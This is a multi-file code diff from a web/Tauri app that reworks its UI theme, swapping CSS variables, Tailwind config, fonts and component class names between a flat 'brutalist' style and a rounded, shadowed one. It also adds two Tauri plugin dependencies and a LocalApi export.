--st-fg-rgb: 255 255 255;
--st-divider: #515168;
--st-gallery-vignette-alpha: 0.6;
/* Photo tint (default neutral) */
--st-photo-tint-rgb: 0 0 0;
@@ -152,45 +95,28 @@ body {
--st-badge-alpha: 0.4;
/* shadcn design tokens consumed by @storyteller/ui-video-editor.
Same values as artcraft-webapp's styles.css. */
--background: 225 10% 8%;
Dark-theme palette — the editor only runs in dark mode today.
--primary matches the webapp's brand blue (#2d81ff) so the
selection ring is consistent across hosts. */
--background: 0 0% 9%;
--foreground: 0 0% 98%;
--card: 240 11% 7%;
--card: 0 0% 12%;
--card-foreground: 0 0% 98%;
--popover: 240 11% 7%;
--popover: 0 0% 12%;
--popover-foreground: 0 0% 98%;
--primary: 216 100% 59%;
--primary-foreground: 0 0% 98%;
--secondary: 240 4% 9%;
--secondary: 0 0% 24%;
--secondary-foreground: 0 0% 98%;
--muted: 240 4% 9%;
--muted: 0 0% 18%;
--muted-foreground: 0 0% 64%;
--accent: 240 4% 9%;
--accent: 0 0% 16%;
--accent-foreground: 0 0% 98%;
--destructive: 0 70% 50%;
--destructive-foreground: 0 0% 98%;
--border: 0 0% 100% / 0.15;
--input: 0 0% 100% / 0.15;
--ring: 217 100% 73%;
/* Motion tokens, mirrored from artcraft-webapp. */
--ease-out: cubic-bezier(0.22, 1, 0.36, 1);
--ease-in-out: cubic-bezier(0.65, 0, 0.35, 1);
--ease-spring: cubic-bezier(0.34, 1.56, 0.64, 1);
--ease-emphasis: cubic-bezier(0.32, 0.72, 0, 1);
--dur-fast: 140ms;
--dur-base: 220ms;
--dur-slow: 340ms;
--dur-page: 260ms;
}
@media (prefers-reduced-motion: reduce) {
:root {
--dur-fast: 1ms;
--dur-base: 1ms;
--dur-slow: 1ms;
--dur-page: 1ms;
}
--border: 0 0% 18%;
--input: 0 0% 18%;
--ring: 217 91% 60%;
}
/* Light theme */
@@ -204,7 +130,6 @@ body {
--st-controls-rgb: 238 238 239;
--st-controls-border: #dcdcdf;
/* requested light button border */
--st-sunken: #ececef;
--st-fg: #111827;
--st-fg-rgb: 17 24 39;
--st-divider: #d1d5db;
@@ -216,19 +141,18 @@ body {
--st-badge-alpha: 0.1;
}
/* Default dark (brutalist, matches artcraft-webapp) */
/* Gray (current) */
.theme-gray {
--st-bg: #121316;
--st-panel: #101014;
--st-panel-border: rgba(255, 255, 255, 0.15);
--st-modal: #101014;
--st-controls: #1e1f22;
--st-controls-rgb: 30 31 34;
--st-controls-border: rgba(255, 255, 255, 0.15);
--st-sunken: #060607;
--st-fg: #f2f1ee;
--st-fg-rgb: 242 241 238;
--st-divider: rgba(255, 255, 255, 0.15);
--st-bg: #121212;
--st-panel: #1f1f1f;
--st-panel-border: #272727;
--st-modal: #1f1f1f;
--st-controls: #3e3e41;
--st-controls-rgb: 62 62 65;
--st-controls-border: #464646;
--st-fg: #ffffff;
--st-fg-rgb: 255 255 255;
--st-divider: #272727;
--st-color-scheme: dark;
--st-gallery-vignette-alpha: 0.3;
--st-photo-tint-rgb: 0 0 0;
@@ -241,12 +165,11 @@ body {
.theme-black {
--st-bg: #000000;
--st-panel: #0a0a0a;
--st-panel-border: rgba(255, 255, 255, 0.15);
--st-panel-border: #242424;
--st-modal: #0a0a0a;
--st-controls: #111111;
--st-controls-rgb: 17 17 17;
--st-controls-border: rgba(255, 255, 255, 0.15);
--st-sunken: #000000;
--st-controls-border: #242424;
--st-fg: #ffffff;
--st-fg-rgb: 255 255 255;
--st-divider: #303030;
@@ -270,8 +193,7 @@ body {
radial-gradient(520px 280px at 110% 120%, #1cb6be33, transparent), #0f1220;
--st-controls: #1a1f35;
--st-controls-rgb: 26 31 53;
--st-controls-border: rgba(255, 255, 255, 0.15);
--st-sunken: #05070d;
--st-controls-border: #1e2237;
--st-fg: #f8fafc;
--st-fg-rgb: 248 250 252;
--st-divider: #2a3152;
@@ -295,8 +217,7 @@ body {
radial-gradient(700px 360px at 115% 120%, #fb923c88, transparent), #1a121a;
--st-controls: #271927;
--st-controls-rgb: 39 25 39;
--st-controls-border: rgba(255, 255, 255, 0.15);
--st-sunken: #0d070b;
--st-controls-border: #3a253a;
--st-fg: #f8fafc;
--st-fg-rgb: 248 250 252;
--st-divider: #4a2e3a;
@@ -317,10 +238,14 @@ body {
background: var(--st-panel);
}
/* Panel surface. Brutalist system: flat, no gradient (class name kept
for lib compatibility). */
.bg-ui-panel-gradient {
background: var(--st-panel);
background:
radial-gradient(
60.68% 60.68% at 50% 0%,
rgba(255, 255, 255, 0.08) 0%,
rgba(0, 0, 0, 0) 70%
),
var(--st-panel);
background-color: var(--st-panel);
}
@@ -406,6 +331,7 @@ img {
.promptbox-scrollbar::-webkit-scrollbar-thumb {
background-color: rgba(255, 255, 255, 0.2);
border-radius: 9999px;
}
.promptbox-scrollbar::-webkit-scrollbar-thumb:hover {
@@ -804,60 +730,3 @@ img {
.promptbox-drop-chip {
animation: promptbox-drop-chip-in 0.25s cubic-bezier(0.22, 1, 0.36, 1) both;
}
/* ===================== Brutalist extras (from artcraft-webapp) ========== */
.liquid-glass {
background: rgba(11, 11, 12, 0.92);
border: 1px solid rgba(255, 255, 255, 0.15);
}
@keyframes toast-in {
from {
opacity: 0;
translate: 0 8px;
}
to {
opacity: 1;
translate: 0 0;
}
}
.animate-toast-in {
animation: toast-in 0.2s ease-out both;
}
.bg-dots {
background-image: radial-gradient(#ffffff20 1px, transparent 0);
background-color: var(--st-panel);
background-size: 33px 33px;
background-position: center;
}
/* Fine registration marks echo the landing page section corners. */
.frame-corner-mark {
position: absolute;
width: 11px;
height: 11px;
margin: -5px;
pointer-events: none;
background:
linear-gradient(rgba(242, 241, 238, 0.4), rgba(242, 241, 238, 0.4))
center / 1px 11px no-repeat,
linear-gradient(rgba(242, 241, 238, 0.4), rgba(242, 241, 238, 0.4))
center / 11px 1px no-repeat;
}
/* Contained section borders match the landing without decorative extensions. */
.create-empty-section {
margin-inline: 12px;
border: 1px solid rgba(242, 241, 238, 0.2);
background: rgba(242, 241, 238, 0.015);
}
@media (min-width: 640px) {
.create-empty-section {
margin-inline: 32px;
}
}
@@ -2,46 +2,29 @@
@tailwind components;
@tailwind utilities;
/* Subtle 3px corners on interactive controls (matches artcraft-webapp).
The brutalist system keeps large surfaces (panels, modals, tables),
passive labels, and media tiles square; anything pressable gets a soft
corner for affordance. Tailwind radius utilities (rounded-full,
rounded-none) still win — the utilities layer is emitted after base. */
@layer base {
button,
select,
textarea,
input:not([type="radio"]):not([type="range"]),
[role="button"] {
border-radius: 3px;
}
}
@layer components {
.filter-tab {
@apply text-nowrap rounded-[3px] border border-white/15 bg-white/5 px-2.5 py-1 font-mono text-[11px] font-semibold uppercase tracking-[0.12em] text-white/70 transition-colors duration-150 hover:border-white/25 hover:bg-white/[0.07] hover:text-white;
@apply text-nowrap rounded-lg border border-[#363636] bg-ui-controls-button px-2.5 py-1 text-[13px] font-medium text-white/80 transition-all duration-150 hover:border-brand-primary/50 hover:bg-assets-background/80;
}
.filter-tab.active {
@apply border-white bg-white text-black hover:border-white hover:bg-white hover:text-black;
@apply border border-brand-primary text-white hover:border-brand-primary hover:bg-ui-controls-button;
}
.filter-tab:disabled {
@apply border-transparent bg-white/[0.03] text-white/30 hover:border-transparent hover:bg-white/[0.03];
@apply border-transparent bg-ui-controls-button/50 hover:border-transparent disabled:text-white/30;
}
/* Brutalist system: former "glass" surfaces are flat near-black panels
with white/15 hairline borders (class name kept for lib compatibility). */
.glass {
@apply relative rounded-[3px] border border-white/15 backdrop-blur-sm transition-colors duration-300;
@apply bg-[#1E1F22]/95 !important;
@apply relative border border-white/10 shadow-lg backdrop-blur-xl transition-colors duration-300;
@apply bg-[#303032]/90 !important;
}
/* Light theme: the glass surface must be a light panel, not the dark
hard-coded fill above. Tint + border swapped to read on a light bg. */
.theme-light .glass {
@apply border-black/15 !important;
background-color: rgb(248 248 248 / 0.95) !important;
@apply border-black/10 !important;
background-color: rgb(248 248 248 / 0.92) !important;
}
}
-41
View File
@@ -12,36 +12,6 @@ export default {
extend: {
fontFamily: {
"custom-font": ["Fira Sans", "sans-serif"],
// Brutalist type system, matching artcraft-webapp.
mono: [
"Geist Mono",
"ui-monospace",
"SFMono-Regular",
"Menlo",
"Consolas",
"monospace",
],
display: [
"Archivo",
"system-ui",
"-apple-system",
"BlinkMacSystemFont",
"Segoe UI",
"Roboto",
"Helvetica Neue",
"Arial",
"sans-serif",
],
sans: [
"system-ui",
"-apple-system",
"BlinkMacSystemFont",
"Segoe UI",
"Roboto",
"Helvetica Neue",
"Arial",
"sans-serif",
],
},
keyframes: {
fadeIn: {
@@ -255,20 +225,12 @@ export default {
wrapper: "#39394d",
},
ui: {
// Brutalist system (matches artcraft-webapp): near-black surfaces
// with white/15 hairline borders. Values come from the --st-* theme
// variables in app/src/styles/base.css.
background: "var(--st-bg)",
panel: "var(--st-panel)",
"panel-border": "var(--st-panel-border)",
border: "var(--st-panel-border)",
controls: "rgb(var(--st-controls-rgb) / <alpha-value>)",
"controls-button": "rgb(var(--st-controls-rgb) / <alpha-value>)",
"controls-border": "var(--st-controls-border)",
divider: "var(--st-divider)",
ink: "rgb(var(--st-fg-rgb) / <alpha-value>)",
"accent-ink": "#74aaff",
sunken: "var(--st-sunken)",
},
"base-fg": "rgb(var(--st-fg-rgb) / <alpha-value>)",
media: {
@@ -326,9 +288,6 @@ export default {
},
plugins: [],
safelist: [
// lucide-react adds this class at runtime; keep the base-layer sizing rule
// in styles/tailwind.css from being purged.
"lucide",
"bg-character-selected",
"bg-character-unselected",
"bg-character-clip",
+5 -1
View File
@@ -14,5 +14,9 @@
"import": "./dist/index.js",
"default": "./dist/index.js"
}
},
"dependencies": {
"@tauri-apps/plugin-dialog": "^2.7.1",
"@tauri-apps/plugin-upload": "2.4.0"
}
}
}
+1
View File
@@ -11,6 +11,7 @@ export * from "./lib/JobsApi.js";
export * from "./lib/MediaFilesApi.js";
export * from "./lib/MediaUploadApi.js";
export * from "./lib/MiscApi.js";
export * from "./lib/LocalApi.js";
export * from "./lib/ProjectsApi.js";
export * from "./lib/PromptsApi.js";
export * from "./lib/TagsApi.js";
@@ -1,7 +1,7 @@
import { download } from "@tauri-apps/plugin-upload";
import { open, save } from "@tauri-apps/plugin-dialog";
import { DownloadUrl, GetDownloadPath } from "./DownloadUrl";
import { DownloadUrl, GetDownloadPath } from "@storyteller/tauri-api";
const ASK_LOCATION_BEFORE_DOWNLOAD_KEY = "artcraft_ask_location_before_download";
@@ -12,7 +12,7 @@ export const Badge = ({ label, className, icon }: BadgeProps) => {
return (
<div
className={twMerge(
"flex items-center gap-1 rounded-none border border-ui-controls-border bg-black/40 px-1.5 py-px font-mono text-[10px] font-medium uppercase tracking-[0.1em]",
"flex items-center gap-1 rounded-[6px] bg-ui-controls/45 px-[4px] py-[1px] text-[10px] shadow-sm",
className
)}
>
@@ -101,7 +101,7 @@ export const ButtonDropdown = ({
<Menu.Items
static
className={twMerge(
"absolute z-20 mt-2 w-max min-w-48 overflow-hidden rounded-[3px] border border-ui-panel-border bg-ui-controls p-1.5 text-base-fg focus:outline-none",
"absolute z-20 mt-1 w-max divide-y divide-gray-100 overflow-hidden rounded-lg bg-brand-secondary py-1.5 shadow-xl focus:outline-none",
align === "left" ? "left-0" : "right-0",
)}
>
@@ -109,19 +109,19 @@ export const ButtonDropdown = ({
{options.map((option, index) => (
<Fragment key={index}>
{option.divider && (
<div className="my-1.5 border-t border-white/15" />
<div className="my-1.5 border-t border-white/5" />
)}
<Menu.Item>
{({ active }) => (
<button
disabled={option.disabled}
className={twMerge(
"rounded-[3px] bg-transparent font-medium text-base-fg transition-colors duration-150",
active ? "bg-white/10" : "",
"duration-50 bg-brand-secondary font-medium text-white transition-all",
active ? "bg-brand-secondary-800" : "",
option.disabled
? "pointer-events-none opacity-40"
: "",
"group flex w-full items-center gap-2 px-2.5 py-2 text-sm",
"group flex w-full items-center py-1.5 pl-7 pr-4 text-sm",
option.className,
)}
onClick={() => handleOptionClick(index)}
@@ -130,11 +130,11 @@ export const ButtonDropdown = ({
{option.icon && (
<DynamicIcon
icon={option.icon}
className="mr-2 h-4 w-4 shrink-0"
className="mr-2"
/>
)}
<div className="grow text-start">{option.label}</div>
<div className="ml-6 font-mono text-[11px] font-normal text-white/45">
<div className="ml-10 font-normal text-white/75">
{option.description && option.description}
</div>
{showSelected && (
@@ -15,14 +15,12 @@ interface ButtonIconSelectProps {
options: Option[];
onOptionChange?: (value: string) => void;
selectedOption?: string;
buttonClassName?: string;
}
export function ButtonIconSelect({
options,
onOptionChange,
selectedOption,
buttonClassName,
}: ButtonIconSelectProps) {
const [internalSelectedOption, setInternalSelectedOption] = useState<string>(
selectedOption || options[0].value
@@ -56,8 +54,7 @@ export function ButtonIconSelect({
text ? "h-auto w-auto gap-2 px-3 py-1.5" : "w-9",
internalSelectedOption === value
? "border-brand-primary bg-brand-primary/20"
: "border-transparent hover:bg-ui-panel/[0.4]",
buttonClassName,
: "border-transparent hover:bg-ui-panel/[0.4]"
)}
onClick={() => handleOptionChange(value)}
>
@@ -75,8 +72,7 @@ export function ButtonIconSelect({
text ? "h-auto w-auto gap-2 px-3 py-1.5" : "w-9",
internalSelectedOption === value
? "border-brand-primary bg-brand-primary/20"
: "border-transparent hover:bg-ui-panel/[0.4]",
buttonClassName,
: "border-transparent hover:bg-ui-panel/[0.4]"
)}
onClick={() => handleOptionChange(value)}
>
@@ -20,12 +20,12 @@ export const ButtonIcon = ({
...rest
}: ButtonIconProps) => {
const className = twMerge(
"box-content flex h-8 w-8 items-center justify-center rounded-[3px] transition-colors duration-150",
"box-content flex h-8 w-8 items-center justify-center rounded-lg transition-all duration-150",
bgFill
? "bg-ui-controls-button hover:bg-ui-controls-button/[0.75]"
: "bg-transparent hover:bg-ui-panel/[0.4]",
disabled && "opacity-50 hover:bg-transparent",
propsClassName,
propsClassName
);
return (
@@ -37,8 +37,8 @@ export const GenerateButton = ({
disabled && "opacity-50",
)}
>
<CoinsIcon className="text-xs" />
<span className="text-[13px] font-bold">
<CoinsIcon className="text-xs text-white" />
<span className="text-[13px] font-bold text-white/90">
{credits}
</span>
</div>
@@ -1,6 +1,6 @@
import type { LucideIcon } from "lucide-react";
import { DynamicIcon } from "@storyteller/icons";
import { Button, NEUTRAL_BUTTON_HOVER_CLASSES } from "./button";
import { Button } from "./button";
import { twMerge } from "tailwind-merge";
interface ToggleButtonProps {
@@ -26,15 +26,14 @@ export const ToggleButton = ({
return (
<Button
className={twMerge(
// Same box and type as the PopoverMenu triggers beside it (34px,
// text-sm sans, flat control surface + hairline border), overriding
// the Button base's mono uppercase label.
"flex h-[34px] items-center justify-center rounded-[3px] border border-ui-controls-border bg-ui-controls py-0 font-sans text-sm font-medium normal-case tracking-normal text-base-fg transition-colors",
hasLabel ? "px-3" : "w-[34px] p-0",
// 34px matches the sibling toolbar controls (GenerateButton, the
// PopoverMenu triggers); the 2px border is inside the box.
"flex h-[34px] items-center justify-center rounded-lg border-2 border-transparent text-sm text-white backdrop-blur-lg transition-all",
hasLabel ? "px-3" : "w-[34px]",
isActive
? "border-white/40 bg-white/10 hover:border-white/40 hover:bg-white/15"
: NEUTRAL_BUTTON_HOVER_CLASSES,
className,
? "border-white/20 bg-brand-primary/40 hover:border-white/30 hover:bg-brand-primary/40"
: "bg-[#5F5F68]/60 hover:bg-[#5F5F68]/90",
className
)}
variant="secondary"
onClick={onClick}
@@ -47,7 +46,7 @@ export const ToggleButton = ({
/>
)}
{label && (
<span className="whitespace-nowrap">{label}</span>
<span className="text-sm font-medium text-white/90">{label}</span>
)}
</span>
</Button>
@@ -4,9 +4,6 @@ import { DynamicIcon } from "@storyteller/icons";
import { twMerge } from "tailwind-merge";
import { ButtonHTMLAttributes, AnchorHTMLAttributes } from "react";
export const NEUTRAL_BUTTON_HOVER_CLASSES =
"hover:bg-white/[0.07] hover:border-white/25";
type AnchorProps = Omit<
AnchorHTMLAttributes<HTMLAnchorElement>,
keyof ButtonHTMLAttributes<HTMLButtonElement>
@@ -42,22 +39,20 @@ export const Button = ({
function getVariantClassNames(variant: string) {
switch (variant) {
case "secondary": {
// Resting bg-white/5 tint (matching the home grid cards) so the
// button reads as a surface, not a bare outline on the page bg.
return "bg-white/5 text-base-fg border border-ui-controls-border";
return "bg-ui-controls text-base-fg border border-ui-controls-border hover:bg-ui-controls/80 focus-visible:outline-secondary";
}
case "action": {
return "bg-ui-controls text-base-fg border border-ui-controls-border";
return "bg-ui-controls text-base-fg border border-ui-controls-border hover:bg-ui-controls/80 focus-visible:outline-action";
}
case "destructive": {
return "bg-red-500 hover:bg-red-400 text-white";
return "bg-red hover:bg-red/90 text-white focus-visible:outline-red";
}
case "ghost": {
return "bg-transparent text-base-fg/70 hover:text-base-fg";
return "bg-transparent text-base-fg border border-ui-controls-border/70 hover:bg-ui-controls/30 focus-visible:outline-primary-600";
}
case "primary":
default: {
return "bg-white hover:bg-white/90 text-black font-bold";
return "bg-primary hover:bg-primary-400 text-white focus-visible:outline-primary-600";
}
}
}
@@ -67,10 +62,8 @@ export const Button = ({
);
const className = twMerge(
"w-fit rounded-[3px] font-mono text-xs font-semibold uppercase tracking-[0.12em] px-3.5 py-2 border border-transparent focus-visible:outline focus-visible:outline-1 focus-visible:outline-offset-2 focus-visible:outline-white/60 transition-colors duration-150 flex gap-2 items-center justify-center",
"w-fit text-sm font-medium rounded-lg px-3 py-1.5 border border-transparent shadow-sm focus-visible:outline focus-visible:outline-0 focus-visible:outline-offset-0 transition-all duration-150 flex gap-2 items-center justify-center active:scale-95 transform",
getVariantClassNames(propsVariant),
(propsVariant === "secondary" || propsVariant === "action" || propsVariant === "ghost") &&
NEUTRAL_BUTTON_HOVER_CLASSES,
propsClassName,
disabledClass,
);
@@ -115,27 +115,25 @@ export const CameraSettingsModal = ({
showClose={false}
>
<div className="grid h-full grid-cols-12 gap-3">
<div className="relative col-span-4 p-3 pt-2 after:absolute after:right-0 after:top-0 after:h-full after:w-px after:bg-white/15">
<div className="relative col-span-4 p-3 pt-2 after:absolute after:right-0 after:top-0 after:h-full after:w-px after:bg-gray-200 after:dark:bg-white/10">
<div className="flex items-center justify-between gap-2.5 py-0.5">
<h2 className="hud-label text-base-fg/60">Camera</h2>
<h2 className="text-[18px] font-semibold opacity-80">Camera</h2>
<Tooltip content="Add camera" position="top" delay={200}>
<button
className="flex h-6 w-6 items-center justify-center rounded-[3px] text-white/70 transition-colors hover:bg-white/10 hover:text-white"
className="h-6 w-6 rounded-full text-white/70 transition-colors hover:text-white/100"
onClick={onAddCamera}
>
<PlusIcon className="text-xl" />
</button>
</Tooltip>
</div>
<hr className="my-2 w-full border-white/15" />
<hr className="my-2 w-full border-white/10" />
<div className="space-y-1">
{cameras.map((camera) => (
<button
key={camera.id}
className={`h-9 w-full rounded-[3px] border-l-2 p-2 text-left transition-colors duration-100 ${
camera.id === selectedCameraId
? "border-white bg-white/10"
: "border-transparent hover:bg-white/5"
className={`h-9 w-full rounded-lg p-2 text-left transition-colors duration-100 hover:bg-[#63636B]/40 ${
camera.id === selectedCameraId ? "bg-[#63636B]/40" : ""
}`}
onClick={() => handleCameraSelect(camera)}
>
@@ -153,7 +151,7 @@ export const CameraSettingsModal = ({
<div className="flex h-full flex-col">
<div>
<div className="flex items-center justify-between gap-2.5 py-0.5 opacity-100">
<h2 className="font-display text-[18px] font-semibold">
<h2 className="text-[18px] font-semibold">
{selectedCamera?.label || "Camera"}
</h2>
<Tooltip
@@ -166,10 +164,10 @@ export const CameraSettingsModal = ({
delay={200}
>
<button
className={`flex h-6 w-6 items-center justify-center rounded-[3px] transition-colors ${
className={`h-6 w-6 rounded-lg transition-colors ${
selectedCamera?.id === "main"
? "cursor-not-allowed text-white/30"
: "text-white/60 hover:bg-white/10 hover:text-white"
: "text-white/60 hover:text-white/100"
}`}
onClick={() =>
selectedCamera &&
@@ -182,10 +180,10 @@ export const CameraSettingsModal = ({
</button>
</Tooltip>
</div>
<hr className="my-2 w-full border-white/15" />
<hr className="my-2 w-full border-white/10" />
<div className="space-y-4">
<div className="space-y-1">
<Label htmlFor="camera-name">
<Label htmlFor="camera-name" className="text-sm opacity-70">
Name
</Label>
<Input
@@ -201,7 +199,7 @@ export const CameraSettingsModal = ({
/>
</div>
<div className="space-y-2">
<Label htmlFor="focal-length">
<Label htmlFor="focal-length" className="text-sm opacity-70">
Focal Length
</Label>
<div
@@ -222,7 +220,7 @@ export const CameraSettingsModal = ({
showIncrement={true}
className="w-full"
/>
<span className="min-w-[60px] font-mono text-sm tabular-nums">
<span className="min-w-[60px] text-sm">
{selectedCamera?.focalLength || 35}mm
</span>
</div>
@@ -97,12 +97,12 @@ export const Checkbox = forwardRef<HTMLInputElement, CheckboxProps>(
<span
aria-hidden
className={twMerge(
"relative inline-block shrink-0 rounded-[3px] border transition-colors",
"relative inline-block shrink-0 rounded-[4px] border transition-colors",
boxDims,
isChecked
? "border-white bg-white text-black"
: "border-ui-controls-border bg-transparent hover:border-white/60",
"peer-focus-visible:ring-1 peer-focus-visible:ring-white/60",
? "border-primary bg-primary text-white"
: "border-ui-controls-border bg-ui-controls hover:border-primary/60",
"peer-focus-visible:ring-2 peer-focus-visible:ring-primary/40",
checkboxClassName,
)}
>
@@ -22,9 +22,9 @@ export const CloseButton = ({
<button
onClick={onClick}
className={twMerge(
"flex items-center justify-center rounded-[3px] bg-black/40 text-white/60 transition-colors hover:bg-white hover:text-black",
"flex items-center justify-center rounded-full bg-black/40 text-white/60 transition-all hover:bg-black/70 hover:text-white",
sizeClasses[size],
className,
className
)}
>
<XIcon />
@@ -13,14 +13,14 @@ export const DragAndDropZone = ({
}) => {
if (files.length === 0) {
return (
<div className="flex cursor-pointer items-center gap-3.5 rounded-none border border-dashed border-white/20 bg-white/[0.02] p-3 transition-colors hover:border-white/40 hover:bg-white/[0.05]">
<FileUpIcon className="text-4xl text-white/60" />
<div className="flex cursor-pointer items-center gap-3.5 rounded-lg border border-dashed border-[#363636] bg-brand-secondary p-3">
<FileUpIcon className="text-4xl" />
<div className="flex flex-col gap-0">
<p className="font-medium">
<u>Upload a file</u> or drop it here
</p>
<p className="flex items-center gap-2 font-mono text-[11px] font-normal uppercase tracking-[0.12em] opacity-50">
<p className="flex items-center gap-2 text-sm font-normal opacity-50">
{fileTypes.join(", ").toString()} supported
</p>
</div>
@@ -37,7 +37,7 @@ export const DragAndDropZone = ({
: `${Math.floor(file.size / 1024)} KB`;
return (
<div className="flex cursor-pointer items-center justify-between gap-3.5 rounded-none border border-dashed border-white/20 bg-white/[0.02] p-3 transition-colors hover:border-white/40 hover:bg-white/[0.05]">
<div className="flex cursor-pointer items-center justify-between gap-3.5 rounded-lg border border-dashed border-[#363636] bg-brand-secondary p-3">
<DynamicIcon icon={fileIcon} className="text-4xl" />
<div className="flex grow flex-col gap-0">
<p className="font-medium">
@@ -55,7 +55,7 @@ export const DragAndDropZone = ({
}
return (
<div className="flex cursor-pointer items-center justify-between gap-3.5 rounded-none border border-dashed border-white/20 bg-white/[0.02] p-3 transition-colors hover:border-white/40 hover:bg-white/[0.05]">
<div className="flex cursor-pointer items-center justify-between gap-3.5 rounded-lg border border-dashed border-[#363636] bg-brand-secondary p-3">
<DynamicIcon icon={fileIcon} className="text-4xl" />
<div className="flex grow flex-col gap-0">
<p className="font-medium">{files.length} files selected</p>
@@ -133,7 +133,7 @@ export function DragGhost({
zIndex: 10000,
pointerEvents: "none",
}}
className="flex cursor-grabbing flex-col overflow-hidden shadow-[0_18px_40px_-12px_rgba(0,0,0,0.7)] ring-1 ring-white/20"
className="flex cursor-grabbing flex-col overflow-hidden rounded-xl shadow-[0_18px_40px_-12px_rgba(0,0,0,0.7)] ring-1 ring-white/20"
>
<img
src={state.thumbnail}
@@ -143,7 +143,7 @@ export function DragGhost({
/>
{state.indicator && (
<div
className={`absolute left-1.5 top-1.5 flex h-5 w-5 items-center justify-center shadow-md ring-1 ring-black/30 ${
className={`absolute left-1.5 top-1.5 flex h-5 w-5 items-center justify-center rounded-full shadow-md ring-1 ring-black/30 ${
state.indicator === "ok" ? "bg-emerald-500" : "bg-red-500"
}`}
>
@@ -25,7 +25,7 @@ export const FolderColorRow: React.FC<FolderColorRowProps> = ({
onClick={() => onSetColor(c)}
style={{ backgroundColor: c }}
className={twMerge(
"h-5 w-5 rounded-[3px] border border-black/20 transition-transform hover:scale-110",
"h-5 w-5 rounded-full border border-black/20 transition-transform hover:scale-110",
colorCode === c &&
"ring-2 ring-white ring-offset-1 ring-offset-ui-panel",
)}
@@ -37,16 +37,16 @@ export const FolderColorRow: React.FC<FolderColorRowProps> = ({
aria-label="Clear color"
onClick={() => onSetColor(null)}
className={twMerge(
"flex h-5 w-5 items-center justify-center rounded-[3px] border border-ui-panel-border text-base-fg/50 hover:text-base-fg",
"flex h-5 w-5 items-center justify-center rounded-full border border-ui-panel-border text-base-fg/50 hover:text-base-fg",
!colorCode && "ring-2 ring-white ring-offset-1 ring-offset-ui-panel",
)}
>
<XIcon className="text-[10px]" />
<XIcon className="text-[10px]" />
</button>
{/* Custom hex (native picker) */}
<label
title="Custom color"
className="relative h-5 w-5 cursor-pointer overflow-hidden rounded-[3px] border border-ui-panel-border"
className="relative h-5 w-5 cursor-pointer overflow-hidden rounded-full border border-ui-panel-border"
style={{
background:
"conic-gradient(red, orange, yellow, lime, cyan, blue, magenta, red)",
@@ -55,9 +55,7 @@ export const FolderColorRow: React.FC<FolderColorRowProps> = ({
<input
type="color"
value={
colorCode && /^#[0-9a-fA-F]{6}$/.test(colorCode)
? colorCode
: "#888888"
colorCode && /^#[0-9a-fA-F]{6}$/.test(colorCode) ? colorCode : "#888888"
}
onChange={(e) => onSetColor(e.target.value)}
className="absolute -inset-1 h-[150%] w-[150%] cursor-pointer opacity-0"
@@ -48,7 +48,7 @@ export const FolderNameDialog: React.FC<FolderNameDialogProps> = ({
onClose={onClose}
title={title}
accessibleTitle={title}
className="w-80 max-w-[90vw] [&_h2]:font-sans [&_h2]:text-sm [&_h2]:font-semibold [&_h2]:tracking-normal [&_h2]:[font-stretch:normal]"
className="w-80 max-w-[90vw]"
>
<div className="space-y-3">
{subtitle && (
@@ -57,27 +57,26 @@ export const FolderNameDialog: React.FC<FolderNameDialogProps> = ({
<input
ref={inputRef}
type="text"
aria-label="Folder name"
value={value}
onChange={(e) => setValue(e.target.value)}
onKeyDown={(e) => {
if (e.key === "Enter") submit();
}}
className="w-full rounded-[3px] border border-ui-panel-border bg-ui-controls/40 px-3 py-1.5 text-sm text-base-fg outline-none focus:ring-1 focus:ring-primary/50"
className="w-full rounded-md border border-ui-panel-border bg-ui-controls/40 px-3 py-1.5 text-sm text-base-fg outline-none focus:ring-1 focus:ring-primary/50"
autoFocus
/>
<div className="flex justify-end gap-2">
<Button
variant="action"
onClick={onClose}
className="px-3 py-1.5 text-[11px]"
className="px-3 py-1 text-sm"
>
Cancel
</Button>
<Button
onClick={submit}
disabled={!value.trim()}
className="px-3 py-1.5 text-[11px]"
className="px-3 py-1 text-sm"
>
{confirmLabel}
</Button>
@@ -1,4 +1,9 @@
import React, { useEffect, useLayoutEffect, useRef, useState } from "react";
import React, {
useEffect,
useLayoutEffect,
useRef,
useState,
} from "react";
import { createPortal } from "react-dom";
import { CheckIcon, EllipsisIcon, MusicIcon, UploadIcon } from "lucide-react";
import { LoadingSpinner } from "@storyteller/ui-loading-spinner";
@@ -243,7 +248,7 @@ export const GalleryDraggableItem: React.FC<GalleryDraggableItemProps> = ({
type="button"
tabIndex={-1}
className={twMerge(
"w-full group relative overflow-visible border-[3px] transition-colors outline-none focus:outline-none focus-visible:outline-none active:outline-none aspect-square",
"w-full group relative overflow-visible rounded-md border-[3px] transition-colors outline-none focus:outline-none focus-visible:outline-none active:outline-none aspect-square",
selected || bulkSelected
? "border-primary"
: disabled
@@ -267,8 +272,10 @@ export const GalleryDraggableItem: React.FC<GalleryDraggableItemProps> = ({
{isAudio ? (
<div className="flex h-full w-full flex-col bg-gradient-to-br from-white/[0.08] via-white/[0.04] to-white/[0.02]">
<div className="flex min-h-0 flex-1 items-center justify-center">
<div className="flex h-11 w-11 items-center justify-center bg-white/10 ring-1 ring-white/15">
<MusicIcon className="text-lg text-white/70" />
<div className="flex h-11 w-11 items-center justify-center rounded-full bg-white/10 ring-1 ring-white/15">
<MusicIcon
className="text-lg text-white/70" />
</div>
</div>
<p className="line-clamp-2 shrink-0 px-2.5 pb-2.5 text-left text-xs leading-snug text-white/75">
@@ -309,12 +316,12 @@ export const GalleryDraggableItem: React.FC<GalleryDraggableItemProps> = ({
</>
)}
{selected && (
<div className="absolute left-2 top-2 flex h-6 w-6 items-center justify-center rounded-[3px] bg-primary">
<CheckIcon className="text-sm" />
<div className="absolute left-2 top-2 flex h-6 w-6 items-center justify-center rounded-full bg-primary">
<CheckIcon className="text-sm" />
</div>
)}
{disabled && (
<div className="absolute left-2 top-2 bg-black/70 px-2 py-0.5 text-[10px] font-medium uppercase tracking-wide text-white/80">
<div className="absolute left-2 top-2 rounded-full bg-black/70 px-2 py-0.5 text-[10px] font-medium uppercase tracking-wide text-white/80">
Added
</div>
)}
@@ -349,8 +356,10 @@ export const GalleryDraggableItem: React.FC<GalleryDraggableItemProps> = ({
position="bottom"
align="end"
mode="default"
triggerIcon={<EllipsisIcon className="text-base-fg" />}
buttonClassName="h-7 w-7 p-0 bg-ui-controls/60 hover:bg-ui-controls/90 text-base-fg border border-ui-controls-border"
triggerIcon={
<EllipsisIcon className="text-base-fg" />
}
buttonClassName="h-7 w-7 p-0 rounded-full bg-ui-controls/60 hover:bg-ui-controls/90 text-base-fg border border-ui-controls-border"
panelClassName="w-max min-w-44 p-1"
